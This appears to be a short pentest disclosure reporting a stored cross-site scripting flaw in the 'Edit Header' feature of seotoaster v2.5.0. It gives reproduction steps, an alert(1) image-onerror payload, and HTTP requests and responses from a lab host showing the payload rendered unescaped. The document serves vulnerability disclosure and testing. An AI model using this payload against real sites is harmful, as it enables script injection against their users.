Friday Fun Pentest Series - 34 - Stored XSS "Edit Header" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Stored Cross-Site Scripting (XSS) in the "Edit Header"

Stored XSS "Edit Header" #1

Steps to Reproduce:

1. Login as admin user and visit "News"
2. Click on "Edit Header Content" and enter the payload "><img src=x onerror=alert(1)>

// HTTP POST Request Editing Header

POST /seotoaster/backend/backend_content/add/containerType/3/containerName/right_2/pageId/20 HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]
content="><img src=x onerror=alert(1)>&containerType=&containerName=&pageId=&containerId=&secureToken=f617b019f0d4dc84000659711cf16b0a

// HTTP Response 

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]
{"error":0,"responseText":"148","httpCode":200}

// HTTP GET Request

GET /seotoaster/news/b2b-marketing-automation-a-booming-market-for-smart-web-agencies-1423145781.html HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<h3>"><img src=x onerror=alert(1)><a class="tpopup generator-links" data-pwidth="600" data-pheight="140" title="Click to edit header content" href="javascript:;" data-url="http://192.168.58.149/seotoaster/backend/backend_content/edit/id/148/containerType/3"><img width="26" height="26" src="http://192.168.58.149/seotoaster/system/images/editadd-header.png" alt="edit header content" /></a></h3>
[...]